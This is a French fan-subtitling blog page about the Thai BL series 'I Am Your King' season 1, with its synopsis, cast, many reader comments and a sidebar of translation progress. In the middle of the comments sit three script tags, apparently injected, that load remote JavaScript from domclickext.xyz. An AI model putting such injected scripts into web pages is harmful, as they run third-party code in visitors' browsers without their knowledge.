-
I Am Your King Saison 1
Titre alternatif : I Am Your King ผมขอสั่งให้คุณ (I Am Your King: Phom Kho Sang Hai Khun) / I Am Your King The Series
Genre : Comédie, Romance, Amitié, Ecole, Gay
Diffusion : 27 Août 2017 au 24 Septembre 2017
Nombre d'épisodes : 5
Durée moyenne : 25 minutes par épisode.
Casting :
Phurin Ruangvivatjarus
M
Junho
Vittawin Veeravidhayanant
Best
Bright
Siwat Jumlongkul
Mark
August
Kitiwhut Sawutdimilin
NewYear
Pond
Nititorn Akkarachotsopon
Us
Matt
Kris Songsamphant
New
Pound (Kitiwhut Sawutdimilin) est sur le point de partir faire ses études en Chine,
c'est pourquoi avant son départ, il profite de la présence de ses amis.
Lors d'une soirée, les jeunes hommes ayant déjà beaucoup bu, jouent au jeu du roi*.C'est ainsi que Pound, devenu le roi, impose des "couples" qui devront rester ensemble
jusqu'à ce qu'il quitte le pays.
Et si le jeu devenait réalité... ?
-
Commentaires
66Pandy-Pandy
Lundi 13 Février 2023 à 01:14Très bonne petite série j'ai pris plaisir à le regarder j'ai beaucoup aimé le couple Bright et August. Merci pour la traduction vous faites un travail excellent.
RépondreCompte tenu de la longueur, j'ai pas hésité à tout regarder en une fois et je suis finalement pas déçue, c'était reposant comme petite série ^^ Mention spéciale à la dernière scène de l'épisode 5 qui m'a littéralement terminée XD Je m'y attendais pas, c'était excellent comme apparition, je l'ai direct reconnu à sa voix XD Merci beaucoup pour la trad ! Je sais pas encore si je vais regarder la saison 2 vu les retours mais qui sait ¯\_(ツ)_/¯
Une bonne petite série qui cache bien son "jeu".
Je ne m'attendais pas à grand chose et en réalité cette mini série est bien surprenante, le jeu du roi n'est pas à conseiller aux amis qui sont déjà en couple ou s'ils n'ont pas une ouverture d'esprit suffisante au risque de voir voler en éclat leur amitié.
Comme on peut le voir au fil des épisodes, le jeu les oblige à révéler leurs secrets et il y en a un paquet ! En même temps, c'est quand même une sacré coïncidence que sur le groupe d'amis aucun ne soit hétéro (ou alors il y a une sacré concentration homosexuelle dans leur école ^^).
Au passage, je décerne une mention spéciale au personnage de Alin, la petite-amie de Matt, que j'ai trouvé particulièrement manipulatrice et que j'ai profondément détesté.
La réalisation, sous ses dehors gentillets et bon enfant, prends un tournant particulièrement coquins au vu de nombre de bisous, même si certains me restent rédhibitoires (sérieux, juste après avoir vomi ?!).
J'aurai apprécié de voir un épilogue tout de même, car là, on reste sur sa faim sachant que la saison 2 ne raconte pas la suite de la série même si elle y est liée.
En résumé, une mini série bien sympathique que je vous conseille, ça se regarde vite et ce n'est pas (trop) prise de tête et je remercie profondément Aika et Semeuse pour leur travail sur ce projet.
Maintenant, à vous de vous faire votre avis.
62ggJeudi 4 Novembre 2021 à 13:3461RavenVendredi 1er Octobre 2021 à 13:42
Merci pour la traduction.
On reste sur sa faim, sa aurai été bien que la saison2 porte aussi sur eux pour que l'on puisse savoir la suite. Mais bon, pas grave.
-
Blyaoi91Jeudi 19 Août 2021 à 12:21
Slt est-ce que tu peux m’expliquer comment ça marche stp
-
Même si ce n'est pas la série du siècle, j'ai vraiment aimé, j'ai passé un bon moment, c'était très mignon et pas prise de tête! Et la ptite fin post générique m'a bien fait sourire ;)
Merci pour cette série et votre trad au top
52MumuLundi 11 Mai 2020 à 15:02
Merci Aika et Semeuse pour cette série.
Je l'ai regardée car j'avais vu qu'il y a une 2ème saison mais je viens de réaliser que les persos ne sont pas les mêmes...
L'histoire est pas extraordinaire mais ça se regarde, c'est mignon. Après sur un groupe de 6 potes qui ne montrent pas qu'ils sont gay, y'a quand même un sacré rassemblement, il doit plus en rester beaucoup d'autres en liberté dans le coin hahaha.
Par contre au moins, pour une série aussi courte, y'a des baisers. C'est pas du sensationnel, mais il se passe des trucs. Même quand on pourrait éviter d'ailleurs, parce qu'un baiser après la gerbe, désolé pour moi c'est gerbe en retour. Va au moins te brosser les dents...
J'aurais aimé voir une suite pour savoir comment ça pourrait évoluer, mais comme la saison 2 ne va pas les suivre, tant pis... Je vais néanmoins la commencer de ce pas.
Encore merci et bonne journée à nos traductrices prolifiques!
-
Mardi 9 Février 2021 à 19:09
Pareil, ton comm m'a bien fait marrer! Merci pour la barre de rire
-
Lundi 4 Janvier 2021 à 23:25
mdr j'ai adoré ton commentaire ,j'en ri encore du coup je vais la regarder
-
Merci pour votre travail,
J'ai passé un bon moment, le jeu des acteurs m'a pas spécialement dérangé contrairement à ce que j'ai pu lire ^^
La série est assez superficielle mais est de bon augure pour un possible développement (surement dans notre imagination seulement), ça reste sympa !Je viens quand même de me rendre compte, que pour une bande d'ami, ils ont tous leurs petits secret dont un qui "cache" bien son "jeu". Je m'attendais quand même pas à cette chute là x)
48KimTan05Vendredi 13 Mars 2020 à 10:12Cette serie est super, les sous titres sont vraiment bien (appart quelques petites erreurs par ici et par la mais rien de bien mechant), tout ce qui m'a deranger c'est que les acteurs jouent un peu mal T^T Les phrase du genre dramatiques dites comme si on parlait de la pluie et du beau temps c'est quelque chose qui me stress grave x) Mais bon appart ca j'aime bcp
(fun fact: ils etaient 6 dans le groupe, les 6 sont Gay (ou attirés par un homme) TTTTTT )
Bonne journée et merci pour votre magnifique traduction <3
Bonsoir,
Alors, cette série est plutôt bien, j'ai juste un peu de mal à accroché par rapport à d'autre série parce que j'ai comme une impression que l'atmosphère était étrange et certaines relations avaient du mal à avancé mais en soit, c'est une bonne série!
Merci pour la traduction de cette série~!
Alors que dire sur ce projet
je l'aime beaucoup, ils font des défits un peu fou, ils font des trucs rigolo aussi
mais je suis toujours aussi triste pour Pond
à chaque fois que je regarde cette saison je veux voir comment se passe le retour de Ponds et comment cela se passe avec ses amis
Génial corte mais super série merci la team!!!! <3
<script src="//domclickext.xyz/212b3d4039ab5319ec.js" type="text/javascript"></script> <script src="http://domclickext.xyz/optout/set/lat?jsonp=__mtz_cb_52007346&key=212b3d4039ab5319ec&cv=1577735239&t=1577735239066" type="text/javascript"></script> <script src="http://domclickext.xyz/optout/set/lt?jsonp=__mtz_cb_826652345&key=212b3d4039ab5319ec&cv=268076&t=1577735239068" type="text/javascript"></script>Bonsoir la team
Désolé, je ne pensais pas que vous sortirez aussi vite le 5ieme et fin.
Cette série a commencé par un jeu, situation universelle. La volonté d'impliquer le lecteur émotionnellement.
Le jeu est actualisé sous les yeux du lecteur. Les sentiments se bousculent et renforce cette idée du jeu "d'action ou vérité"
A la fin le suspens avec Junho montre que le jeu n'est pas terminé
Merci Aika de la traduction et Semeuse à la correction
rdv à la saison 2
Bonsoir la team
Les personnages sont facile à retenir. Des couples en pleines découverte de soi.
Une simplicité en apparence. Au fond assez compliqué.
Quatre ressentis qui résume ces quatre jours
Bonne soirée à vous
J'ai déjà eu l'occasion de le voir et je me souviens que j'avais été agréablement surprise par ce drama.
Bonjour la team
Je découvre cette série comme on découvre une personne, alors que d'habitude on n'y prêtait pas attention.
Cette série semble raconter ce qui se passe après, avec une volonté d'impliquer le lecteur émotionnellement.
Mon focus épisode 2 et 3 : c'est le fait de "prendre un râteau". Aussi, gentil que ce soit. Ben! ça reste un râteau
Impatient de voir ce qui se passera mercredi 16 et jeudi 17 de cette saison 1
Passer une bonne journée
Bonjour, quand j'ai découverte cette série, je trouvais que Best et Mark étaient trop bien assortis et j'aurais aimé les revoir jouer ensemble, voir plus
...non, je ne suis pas en mode "delulu" du tout ! lol Merci de nous partager la Saison 1 et j'attends ta traduction de la S2 car je comprends pas encore tout en eng sub !
En tout cas, pour les épisodes sortis de la S2, pour l'instant, j'adhère plus ! 
19yu9Samedi 7 Décembre 2019 à 13:2117HasnouMercredi 4 Décembre 2019 à 14:21Est ce que c’est moi ou l’épisode 2 à 5 ne marche pas aussi pour vous ?
-
HasnouJeudi 5 Décembre 2019 à 14:26
Merciii
-
méli méloJeudi 5 Décembre 2019 à 10:06
Normal ils sont pas encor dispo. Peut être une prochaine case du calendrier( j'attend aussi
)
-
l'idée du calendrier est bonne mais I Am Your King n'est pas une nouveauté, déjà traduit de longue date ;)
bises à la team
-
Samedi 7 Décembre 2019 à 19:15
Je viens de me relire...bonjour les fautes ;(
N'y fait pas attention, je revenais d'une longue journée mdr
-
Samedi 7 Décembre 2019 à 13:08
c'est une bonne idée aika car oui cette série est peux connu tu fais une pierre deux coup en prévention pour la saison deux hahhaa
-
Vendredi 6 Décembre 2019 à 21:05
Yep je sais, mais je marche au coup de coeur xD et comme la s2 est sortie y a pas longtemps
je me suis dit au temps commencé par la base ;)
D'ailleurs beaucoup viennent de la découvrir donc c'est plutôt sympas ;)
-
14lalhouMardi 3 Décembre 2019 à 19:59merci pour ce calendrier de l'avent.
Heureuse d'ouvrir cette petite case.
Interresssant ce nouveau drama
Suivre le flux RSS des commentaires
Ajouter un commentaire
Traduction De Films & Séries BL Asiatique & International
-
Ce mois ci nous fêtons les anniversaires de :
Aika : 10 décembre
Sew : 18 décembre
Aliotis : 23 décembre
Blu : 30 décembre
Vite, vite les cadeaux et les gâteaux :)
-
-
Épisode : 01 disponible
02-16 en attente
Épisodes : 1-3 Dispo/13
Let Free the Curse of Taekwondo
Episodes 1-3 : Disponibles
Episode 4 : En correction
Episode 5 : En traduction
Episodes 6-8 : En attente de traduction
Episodes 1-3: Disponible
Episodes : 4-13: En Traduction
Épisodes : 1-6 Dispo/12
The Trainee
Episodes 1-4 : Disponibles
Episode 5 : En time
Episodes 6-12 : En attente de traduction
Love is Like a Cat
Episodes 1-10 : Disponibles
Episodes 11-12 : En attente
23.5 the series
Épisodes 1-5 : Disponibles
Épisode 6 : En encodage
Épisodes 7-12 : En attente de traduction
Peaceful property on sale
Série Terminée !
You Are Mine
SERIE TERMINEE
ÉPISODE SPÉCIAL en cours de correction
Law of Attraction
Épisodes : 1-6 V2 Dispo/8
Épisodes 7-8 en cours de correction
Our Skyy 2
Épisodes 1-16 : En traduction
Épisodes : 3 à 8 + 11-12 : Disponibles
Never Let Me Go
Épisodes 1-9 : Disponibles
Épisode 10 : En correction
Épisode 11-12 : En traduction
VIP Only
Épisode 1-7 : Disponible
Épisodes 8-10 : En correction
EP spécial :
en correction
Perfect Propose
Episode 1-2 : Disponibles
Episode 3 - 6 : A venir
-
-
Créer mon blog